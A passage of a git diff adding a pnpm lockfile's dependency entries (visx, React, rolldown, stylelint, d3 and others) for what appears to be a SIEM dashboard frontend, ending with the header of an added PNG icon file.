'@react-spring/web@9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@react-spring/animated': 9.7.5(react@19.2.4) + '@react-spring/core': 9.7.5(react@19.2.4) + '@react-spring/shared': 9.7.5(react@19.2.4) + '@react-spring/types': 9.7.5 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + + '@rolldown/binding-android-arm64@1.0.0-beta.50': + optional: true + + '@rolldown/binding-darwin-arm64@1.0.0-beta.50': + optional: true + + '@rolldown/binding-darwin-x64@1.0.0-beta.50': + optional: true + + '@rolldown/binding-freebsd-x64@1.0.0-beta.50': + optional: true + + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-beta.50': + optional: true + + '@rolldown/binding-linux-arm64-gnu@1.0.0-beta.50': + optional: true + + '@rolldown/binding-linux-arm64-musl@1.0.0-beta.50': + optional: true + + '@rolldown/binding-linux-x64-gnu@1.0.0-beta.50': + optional: true + + '@rolldown/binding-linux-x64-musl@1.0.0-beta.50': + optional: true + + '@rolldown/binding-openharmony-arm64@1.0.0-beta.50': + optional: true + + '@rolldown/binding-wasm32-wasi@1.0.0-beta.50': + dependencies: + '@napi-rs/wasm-runtime': 1.1.1 + optional: true + + '@rolldown/binding-win32-arm64-msvc@1.0.0-beta.50': + optional: true + + '@rolldown/binding-win32-ia32-msvc@1.0.0-beta.50': + optional: true + + '@rolldown/binding-win32-x64-msvc@1.0.0-beta.50': + optional: true + + '@rolldown/pluginutils@1.0.0-beta.50': {} + + '@rolldown/pluginutils@1.0.0-rc.2': {} + + '@sindresorhus/merge-streams@4.0.0': {} + + '@tanstack/query-core@5.90.20': {} + + '@tanstack/query-devtools@5.93.0': {} + + '@tanstack/react-query-devtools@5.91.3(@tanstack/react-query@5.90.20(react@19.2.4))(react@19.2.4)': + dependencies: + '@tanstack/query-devtools': 5.93.0 + '@tanstack/react-query': 5.90.20(react@19.2.4) + react: 19.2.4 + + '@tanstack/react-query@5.90.20(react@19.2.4)': + dependencies: + '@tanstack/query-core': 5.90.20 + react: 19.2.4 + + '@tybys/wasm-util@0.10.1': + dependencies: + tslib: 2.8.1 + optional: true + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.28.0 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.29.0 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + + '@types/babel__traverse@7.28.0': + dependencies: + '@babel/types': 7.29.0 + + '@types/d3-array@3.0.3': {} + + '@types/d3-color@3.1.0': {} + + '@types/d3-delaunay@6.0.1': {} + + '@types/d3-format@3.0.1': {} + + '@types/d3-geo@3.1.0': + dependencies: + '@types/geojson': 7946.0.16 + + '@types/d3-interpolate@3.0.1': + dependencies: + '@types/d3-color': 3.1.0 + + '@types/d3-path@1.0.11': {} + + '@types/d3-scale@4.0.2': + dependencies: + '@types/d3-time': 3.0.0 + + '@types/d3-shape@1.3.12': + dependencies: + '@types/d3-path': 1.0.11 + + '@types/d3-time-format@2.1.0': {} + + '@types/d3-time@3.0.0': {} + + '@types/d3-voronoi@1.1.12': {} + + '@types/geojson@7946.0.16': {} + + '@types/lodash@4.17.23': {} + + '@types/node@25.2.2': + dependencies: + undici-types: 7.16.0 + + '@types/react-dom@19.2.3(@types/react@19.2.13)': + dependencies: + '@types/react': 19.2.13 + + '@types/react@19.2.13': + dependencies: + csstype: 3.2.3 + + '@visx/annotation@3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@visx/drag': 3.12.0(react@19.2.4) + '@visx/group': 3.12.0(react@19.2.4) + '@visx/text': 3.12.0(react@19.2.4) + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + react-use-measure: 2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + transitivePeerDependencies: + - react-dom + + '@visx/axis@3.12.0(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@visx/group': 3.12.0(react@19.2.4) + '@visx/point': 3.12.0 + '@visx/scale': 3.12.0 + '@visx/shape': 3.12.0(react@19.2.4) + '@visx/text': 3.12.0(react@19.2.4) + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/bounds@3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@types/react-dom': 19.2.3(@types/react@19.2.13) + prop-types: 15.8.1 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + + '@visx/curve@3.12.0': + dependencies: + '@types/d3-shape': 1.3.12 + d3-shape: 1.3.7 + + '@visx/drag@3.12.0(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@visx/event': 3.12.0 + '@visx/point': 3.12.0 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/event@3.12.0': + dependencies: + '@types/react': 19.2.13 + '@visx/point': 3.12.0 + + '@visx/glyph@3.12.0(react@19.2.4)': + dependencies: + '@types/d3-shape': 1.3.12 + '@types/react': 19.2.13 + '@visx/group': 3.12.0(react@19.2.4) + classnames: 2.5.1 + d3-shape: 1.3.7 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/grid@3.12.0(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@visx/curve': 3.12.0 + '@visx/group': 3.12.0(react@19.2.4) + '@visx/point': 3.12.0 + '@visx/scale': 3.12.0 + '@visx/shape': 3.12.0(react@19.2.4) + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/group@3.12.0(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/point@3.12.0': {} + + '@visx/react-spring@3.12.0(@react-spring/web@9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4))(react@19.2.4)': + dependencies: + '@react-spring/web': 9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@types/react': 19.2.13 + '@visx/axis': 3.12.0(react@19.2.4) + '@visx/grid': 3.12.0(react@19.2.4) + '@visx/scale': 3.12.0 + '@visx/text': 3.12.0(react@19.2.4) + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/responsive@3.12.0(react@19.2.4)': + dependencies: + '@types/lodash': 4.17.23 + '@types/react': 19.2.13 + lodash: 4.17.23 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/scale@3.12.0': + dependencies: + '@visx/vendor': 3.12.0 + + '@visx/shape@3.12.0(react@19.2.4)': + dependencies: + '@types/d3-path': 1.0.11 + '@types/d3-shape': 1.3.12 + '@types/lodash': 4.17.23 + '@types/react': 19.2.13 + '@visx/curve': 3.12.0 + '@visx/group': 3.12.0(react@19.2.4) + '@visx/scale': 3.12.0 + classnames: 2.5.1 + d3-path: 1.0.9 + d3-shape: 1.3.7 + lodash: 4.17.23 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/text@3.12.0(react@19.2.4)': + dependencies: + '@types/lodash': 4.17.23 + '@types/react': 19.2.13 + classnames: 2.5.1 + lodash: 4.17.23 + prop-types: 15.8.1 + react: 19.2.4 + reduce-css-calc: 1.3.0 + + '@visx/tooltip@3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@types/react': 19.2.13 + '@visx/bounds': 3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + classnames: 2.5.1 + prop-types: 15.8.1 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + react-use-measure: 2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + + '@visx/vendor@3.12.0': + dependencies: + '@types/d3-array': 3.0.3 + '@types/d3-color': 3.1.0 + '@types/d3-delaunay': 6.0.1 + '@types/d3-format': 3.0.1 + '@types/d3-geo': 3.1.0 + '@types/d3-interpolate': 3.0.1 + '@types/d3-scale': 4.0.2 + '@types/d3-time': 3.0.0 + '@types/d3-time-format': 2.1.0 + d3-array: 3.2.1 + d3-color: 3.1.0 + d3-delaunay: 6.0.2 + d3-format: 3.1.0 + d3-geo: 3.1.0 + d3-interpolate: 3.0.1 + d3-scale: 4.0.2 + d3-time: 3.1.0 + d3-time-format: 4.1.0 + internmap: 2.0.3 + + '@visx/voronoi@3.12.0(react@19.2.4)': + dependencies: + '@types/d3-voronoi': 1.1.12 + '@types/react': 19.2.13 + classnames: 2.5.1 + d3-voronoi: 1.1.4 + prop-types: 15.8.1 + react: 19.2.4 + + '@visx/xychart@3.12.0(@react-spring/web@9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4))(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@react-spring/web': 9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@types/lodash': 4.17.23 + '@types/react': 19.2.13 + '@visx/annotation': 3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@visx/axis': 3.12.0(react@19.2.4) + '@visx/event': 3.12.0 + '@visx/glyph': 3.12.0(react@19.2.4) + '@visx/grid': 3.12.0(react@19.2.4) + '@visx/react-spring': 3.12.0(@react-spring/web@9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4))(react@19.2.4) + '@visx/responsive': 3.12.0(react@19.2.4) + '@visx/scale': 3.12.0 + '@visx/shape': 3.12.0(react@19.2.4) + '@visx/text': 3.12.0(react@19.2.4) + '@visx/tooltip': 3.12.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@visx/vendor': 3.12.0 + '@visx/voronoi': 3.12.0(react@19.2.4) + classnames: 2.5.1 + d3-interpolate-path: 2.2.1 + d3-shape: 2.1.0 + lodash: 4.17.23 + mitt: 2.1.0 + prop-types: 15.8.1 + react: 19.2.4 + transitivePeerDependencies: + - react-dom + + '@vitejs/plugin-react@5.1.3(rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3))': + dependencies: + '@babel/core': 7.29.0 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0) + '@rolldown/pluginutils': 1.0.0-rc.2 + '@types/babel__core': 7.20.5 + react-refresh: 0.18.0 + vite: rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3) + transitivePeerDependencies: + - supports-color + + ajv@8.17.1: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.0 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + argparse@2.0.1: {} + + astral-regex@2.0.0: {} + + asynckit@0.4.0: {} + + axios@1.13.5: + dependencies: + follow-redirects: 1.15.11 + form-data: 4.0.5 + proxy-from-env: 1.1.0 + transitivePeerDependencies: + - debug + + balanced-match@0.4.2: {} + + balanced-match@1.0.2: {} + + balanced-match@3.0.1: {} + + baseline-browser-mapping@2.9.19: {} + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.9.19 + caniuse-lite: 1.0.30001769 + electron-to-chromium: 1.5.286 + node-releases: 2.0.27 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + + cacheable@2.3.2: + dependencies: + '@cacheable/memory': 2.0.7 + '@cacheable/utils': 2.3.4 + hookified: 1.15.1 + keyv: 5.6.0 + qified: 0.6.0 + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + callsites@3.1.0: {} + + caniuse-lite@1.0.30001769: {} + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + classnames@2.5.1: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + colord@2.9.3: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + convert-source-map@2.0.0: {} + + cookie@1.1.1: {} + + cosmiconfig@9.0.0(typescript@5.9.3): + dependencies: + env-paths: 2.2.1 + import-fresh: 3.3.1 + js-yaml: 4.1.1 + parse-json: 5.2.0 + optionalDependencies: + typescript: 5.9.3 + + css-functions-list@3.2.3: {} + + css-tree@3.1.0: + dependencies: + mdn-data: 2.12.2 + source-map-js: 1.2.1 + + cssesc@3.0.0: {} + + csstype@3.2.3: {} + + d3-array@3.2.1: + dependencies: + internmap: 2.0.3 + + d3-color@3.1.0: {} + + d3-delaunay@6.0.2: + dependencies: + delaunator: 5.0.1 + + d3-format@3.1.0: {} + + d3-geo@3.1.0: + dependencies: + d3-array: 3.2.1 + + d3-interpolate-path@2.2.1: {} + + d3-interpolate@3.0.1: + dependencies: + d3-color: 3.1.0 + + d3-path@1.0.9: {} + + d3-path@2.0.0: {} + + d3-scale@4.0.2: + dependencies: + d3-array: 3.2.1 + d3-format: 3.1.0 + d3-interpolate: 3.0.1 + d3-time: 3.1.0 + d3-time-format: 4.1.0 + + d3-shape@1.3.7: + dependencies: + d3-path: 1.0.9 + + d3-shape@2.1.0: + dependencies: + d3-path: 2.0.0 + + d3-time-format@4.1.0: + dependencies: + d3-time: 3.1.0 + + d3-time@3.1.0: + dependencies: + d3-array: 3.2.1 + + d3-voronoi@1.1.4: {} + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + delaunator@5.0.1: + dependencies: + robust-predicates: 3.0.2 + + delayed-stream@1.0.0: {} + + detect-libc@2.1.2: {} + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + electron-to-chromium@1.5.286: {} + + emoji-regex@8.0.0: {} + + env-paths@2.2.1: {} + + error-ex@1.3.4: + dependencies: + is-arrayish: 0.2.1 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + escalade@3.2.0: {} + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-uri@3.1.0: {} + + fastest-levenshtein@1.0.16: {} + + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + + fdir@6.5.0(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + file-entry-cache@11.1.2: + dependencies: + flat-cache: 6.1.20 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + flat-cache@6.1.20: + dependencies: + cacheable: 2.3.2 + flatted: 3.3.3 + hookified: 1.15.1 + + flatted@3.3.3: {} + + follow-redirects@1.15.11: {} + + form-data@4.0.5: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + es-set-tostringtag: 2.1.0 + hasown: 2.0.2 + mime-types: 2.1.35 + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + gensync@1.0.0-beta.2: {} + + get-east-asian-width@1.4.0: {} + + get-intrinsic@1.3.0: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + function-bind: 1.1.2 + get-proto: 1.0.1 + gopd: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + math-intrinsics: 1.1.0 + + get-proto@1.0.1: + dependencies: + dunder-proto: 1.0.1 + es-object-atoms: 1.1.1 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + global-modules@2.0.0: + dependencies: + global-prefix: 3.0.0 + + global-prefix@3.0.0: + dependencies: + ini: 1.3.8 + kind-of: 6.0.3 + which: 1.3.1 + + globby@16.1.0: + dependencies: + '@sindresorhus/merge-streams': 4.0.0 + fast-glob: 3.3.3 + ignore: 7.0.5 + is-path-inside: 4.0.0 + slash: 5.1.0 + unicorn-magic: 0.4.0 + + globjoin@0.1.4: {} + + globrex@0.1.2: {} + + gopd@1.2.0: {} + + has-flag@5.0.1: {} + + has-symbols@1.1.0: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.1.0 + + hashery@1.4.0: + dependencies: + hookified: 1.15.1 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + hookified@1.15.1: {} + + html-tags@5.1.0: {} + + ignore@7.0.5: {} + + immutable@5.1.4: {} + + import-fresh@3.3.1: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + import-meta-resolve@4.2.0: {} + + imurmurhash@0.1.4: {} + + ini@1.3.8: {} + + internmap@2.0.3: {} + + is-arrayish@0.2.1: {} + + is-extglob@2.1.1: {} + + is-fullwidth-code-point@3.0.0: {} + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-number@7.0.0: {} + + is-path-inside@4.0.0: {} + + is-plain-object@5.0.0: {} + + isexe@2.0.0: {} + + js-tokens@4.0.0: {} + + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + + jsesc@3.1.0: {} + + json-parse-even-better-errors@2.3.1: {} + + json-schema-traverse@1.0.0: {} + + json5@2.2.3: {} + + keyv@5.6.0: + dependencies: + '@keyv/serialize': 1.1.1 + + kind-of@6.0.3: {} + + known-css-properties@0.37.0: {} + + lightningcss-android-arm64@1.31.1: + optional: true + + lightningcss-darwin-arm64@1.31.1: + optional: true + + lightningcss-darwin-x64@1.31.1: + optional: true + + lightningcss-freebsd-x64@1.31.1: + optional: true + + lightningcss-linux-arm-gnueabihf@1.31.1: + optional: true + + lightningcss-linux-arm64-gnu@1.31.1: + optional: true + + lightningcss-linux-arm64-musl@1.31.1: + optional: true + + lightningcss-linux-x64-gnu@1.31.1: + optional: true + + lightningcss-linux-x64-musl@1.31.1: + optional: true + + lightningcss-win32-arm64-msvc@1.31.1: + optional: true + + lightningcss-win32-x64-msvc@1.31.1: + optional: true + + lightningcss@1.31.1: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.31.1 + lightningcss-darwin-arm64: 1.31.1 + lightningcss-darwin-x64: 1.31.1 + lightningcss-freebsd-x64: 1.31.1 + lightningcss-linux-arm-gnueabihf: 1.31.1 + lightningcss-linux-arm64-gnu: 1.31.1 + lightningcss-linux-arm64-musl: 1.31.1 + lightningcss-linux-x64-gnu: 1.31.1 + lightningcss-linux-x64-musl: 1.31.1 + lightningcss-win32-arm64-msvc: 1.31.1 + lightningcss-win32-x64-msvc: 1.31.1 + + lines-and-columns@1.2.4: {} + + lodash.truncate@4.4.2: {} + + lodash@4.17.23: {} + + loose-envify@1.4.0: + dependencies: + js-tokens: 4.0.0 + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + math-expression-evaluator@1.4.0: {} + + math-intrinsics@1.1.0: {} + + mathml-tag-names@4.0.0: {} + + mdn-data@2.12.2: {} + + mdn-data@2.27.0: {} + + meow@14.0.0: {} + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + mitt@2.1.0: {} + + ms@2.1.3: {} + + nanoid@3.3.11: {} + + node-addon-api@7.1.1: + optional: true + + node-releases@2.0.27: {} + + normalize-path@3.0.0: {} + + object-assign@4.1.1: {} + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + parse-json@5.2.0: + dependencies: + '@babel/code-frame': 7.29.0 + error-ex: 1.3.4 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 + + picocolors@1.1.1: {} + + picomatch@2.3.1: {} + + picomatch@4.0.3: {} + + postcss-media-query-parser@0.2.3: {} + + postcss-resolve-nested-selector@0.1.6: {} + + postcss-safe-parser@7.0.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-scss@4.0.9(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-selector-parser@7.1.1: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.6: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prop-types@15.8.1: + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + react-is: 16.13.1 + + proxy-from-env@1.1.0: {} + + qified@0.6.0: + dependencies: + hookified: 1.15.1 + + queue-microtask@1.2.3: {} + + react-dom@19.2.4(react@19.2.4): + dependencies: + react: 19.2.4 + scheduler: 0.27.0 + + react-error-boundary@6.1.0(react@19.2.4): + dependencies: + react: 19.2.4 + + react-icons@5.5.0(react@19.2.4): + dependencies: + react: 19.2.4 + + react-is@16.13.1: {} + + react-refresh@0.18.0: {} + + react-router-dom@7.13.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + dependencies: + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + react-router: 7.13.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + + react-router@7.13.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + dependencies: + cookie: 1.1.1 + react: 19.2.4 + set-cookie-parser: 2.7.2 + optionalDependencies: + react-dom: 19.2.4(react@19.2.4) + + react-use-measure@2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + dependencies: + react: 19.2.4 + optionalDependencies: + react-dom: 19.2.4(react@19.2.4) + + react@19.2.4: {} + + readdirp@4.1.2: {} + + reduce-css-calc@1.3.0: + dependencies: + balanced-match: 0.4.2 + math-expression-evaluator: 1.4.0 + reduce-function-call: 1.0.3 + + reduce-function-call@1.0.3: + dependencies: + balanced-match: 1.0.2 + + require-from-string@2.0.2: {} + + resolve-from@4.0.0: {} + + reusify@1.1.0: {} + + robust-predicates@3.0.2: {} + + rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3): + dependencies: + '@oxc-project/runtime': 0.97.0 + fdir: 6.5.0(picomatch@4.0.3) + lightningcss: 1.31.1 + picomatch: 4.0.3 + postcss: 8.5.6 + rolldown: 1.0.0-beta.50 + tinyglobby: 0.2.15 + optionalDependencies: + '@types/node': 25.2.2 + fsevents: 2.3.3 + sass: 1.97.3 + + rolldown@1.0.0-beta.50: + dependencies: + '@oxc-project/types': 0.97.0 + '@rolldown/pluginutils': 1.0.0-beta.50 + optionalDependencies: + '@rolldown/binding-android-arm64': 1.0.0-beta.50 + '@rolldown/binding-darwin-arm64': 1.0.0-beta.50 + '@rolldown/binding-darwin-x64': 1.0.0-beta.50 + '@rolldown/binding-freebsd-x64': 1.0.0-beta.50 + '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-beta.50 + '@rolldown/binding-linux-arm64-gnu': 1.0.0-beta.50 + '@rolldown/binding-linux-arm64-musl': 1.0.0-beta.50 + '@rolldown/binding-linux-x64-gnu': 1.0.0-beta.50 + '@rolldown/binding-linux-x64-musl': 1.0.0-beta.50 + '@rolldown/binding-openharmony-arm64': 1.0.0-beta.50 + '@rolldown/binding-wasm32-wasi': 1.0.0-beta.50 + '@rolldown/binding-win32-arm64-msvc': 1.0.0-beta.50 + '@rolldown/binding-win32-ia32-msvc': 1.0.0-beta.50 + '@rolldown/binding-win32-x64-msvc': 1.0.0-beta.50 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + sass@1.97.3: + dependencies: + chokidar: 4.0.3 + immutable: 5.1.4 + source-map-js: 1.2.1 + optionalDependencies: + '@parcel/watcher': 2.5.6 + + scheduler@0.27.0: {} + + semver@6.3.1: {} + + set-cookie-parser@2.7.2: {} + + signal-exit@4.1.0: {} + + slash@5.1.0: {} + + slice-ansi@4.0.0: + dependencies: + ansi-styles: 4.3.0 + astral-regex: 2.0.0 + is-fullwidth-code-point: 3.0.0 + + sonner@2.0.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + dependencies: + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + + source-map-js@1.2.1: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@8.1.1: + dependencies: + get-east-asian-width: 1.4.0 + strip-ansi: 7.1.2 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.1.2: + dependencies: + ansi-regex: 6.2.2 + + stylelint-config-prettier-scss@1.0.0(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + stylelint: 17.1.1(typescript@5.9.3) + + stylelint-config-recommended-scss@17.0.0(postcss@8.5.6)(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + postcss-scss: 4.0.9(postcss@8.5.6) + stylelint: 17.1.1(typescript@5.9.3) + stylelint-config-recommended: 18.0.0(stylelint@17.1.1(typescript@5.9.3)) + stylelint-scss: 7.0.0(stylelint@17.1.1(typescript@5.9.3)) + optionalDependencies: + postcss: 8.5.6 + + stylelint-config-recommended@18.0.0(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + stylelint: 17.1.1(typescript@5.9.3) + + stylelint-config-standard-scss@17.0.0(postcss@8.5.6)(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + stylelint: 17.1.1(typescript@5.9.3) + stylelint-config-recommended-scss: 17.0.0(postcss@8.5.6)(stylelint@17.1.1(typescript@5.9.3)) + stylelint-config-standard: 40.0.0(stylelint@17.1.1(typescript@5.9.3)) + optionalDependencies: + postcss: 8.5.6 + + stylelint-config-standard@40.0.0(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + stylelint: 17.1.1(typescript@5.9.3) + stylelint-config-recommended: 18.0.0(stylelint@17.1.1(typescript@5.9.3)) + + stylelint-scss@7.0.0(stylelint@17.1.1(typescript@5.9.3)): + dependencies: + css-tree: 3.1.0 + is-plain-object: 5.0.0 + known-css-properties: 0.37.0 + mdn-data: 2.27.0 + postcss-media-query-parser: 0.2.3 + postcss-resolve-nested-selector: 0.1.6 + postcss-selector-parser: 7.1.1 + postcss-value-parser: 4.2.0 + stylelint: 17.1.1(typescript@5.9.3) + + stylelint@17.1.1(typescript@5.9.3): + dependencies: + '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) + '@csstools/css-syntax-patches-for-csstree': 1.0.26 + '@csstools/css-tokenizer': 4.0.0 + '@csstools/media-query-list-parser': 5.0.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0) + '@csstools/selector-resolve-nested': 4.0.0(postcss-selector-parser@7.1.1) + '@csstools/selector-specificity': 6.0.0(postcss-selector-parser@7.1.1) + balanced-match: 3.0.1 + colord: 2.9.3 + cosmiconfig: 9.0.0(typescript@5.9.3) + css-functions-list: 3.2.3 + css-tree: 3.1.0 + debug: 4.4.3 + fast-glob: 3.3.3 + fastest-levenshtein: 1.0.16 + file-entry-cache: 11.1.2 + global-modules: 2.0.0 + globby: 16.1.0 + globjoin: 0.1.4 + html-tags: 5.1.0 + ignore: 7.0.5 + import-meta-resolve: 4.2.0 + imurmurhash: 0.1.4 + is-plain-object: 5.0.0 + known-css-properties: 0.37.0 + mathml-tag-names: 4.0.0 + meow: 14.0.0 + micromatch: 4.0.8 + normalize-path: 3.0.0 + picocolors: 1.1.1 + postcss: 8.5.6 + postcss-safe-parser: 7.0.1(postcss@8.5.6) + postcss-selector-parser: 7.1.1 + postcss-value-parser: 4.2.0 + string-width: 8.1.1 + supports-hyperlinks: 4.4.0 + svg-tags: 1.0.0 + table: 6.9.0 + write-file-atomic: 7.0.0 + transitivePeerDependencies: + - supports-color + - typescript + + supports-color@10.2.2: {} + + supports-hyperlinks@4.4.0: + dependencies: + has-flag: 5.0.1 + supports-color: 10.2.2 + + svg-tags@1.0.0: {} + + table@6.9.0: + dependencies: + ajv: 8.17.1 + lodash.truncate: 4.4.2 + slice-ansi: 4.0.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + tinyglobby@0.2.15: + dependencies: + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + tsconfck@3.1.6(typescript@5.9.3): + optionalDependencies: + typescript: 5.9.3 + + tslib@2.8.1: + optional: true + + typescript@5.9.3: {} + + undici-types@7.16.0: {} + + unicorn-magic@0.4.0: {} + + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + util-deprecate@1.0.2: {} + + vite-tsconfig-paths@6.1.0(rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3))(typescript@5.9.3): + dependencies: + debug: 4.4.3 + globrex: 0.1.2 + tsconfck: 3.1.6(typescript@5.9.3) + vite: rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3) + transitivePeerDependencies: + - supports-color + - typescript + + which@1.3.1: + dependencies: + isexe: 2.0.0 + + write-file-atomic@7.0.0: + dependencies: + imurmurhash: 0.1.4 + signal-exit: 4.1.0 + + yallist@3.1.1: {} + + zod@4.3.6: {} + + zustand@5.0.11(@types/react@19.2.13)(react@19.2.4): + optionalDependencies: + '@types/react': 19.2.13 + react: 19.2.4 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-192x192.png b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/android-chrome-192x192.png new file mode 100644 index 0000000000000000000000000000000000000000..017611f41060d210dc81093eaa6cd0cdac783563 GIT binary patch literal 25969 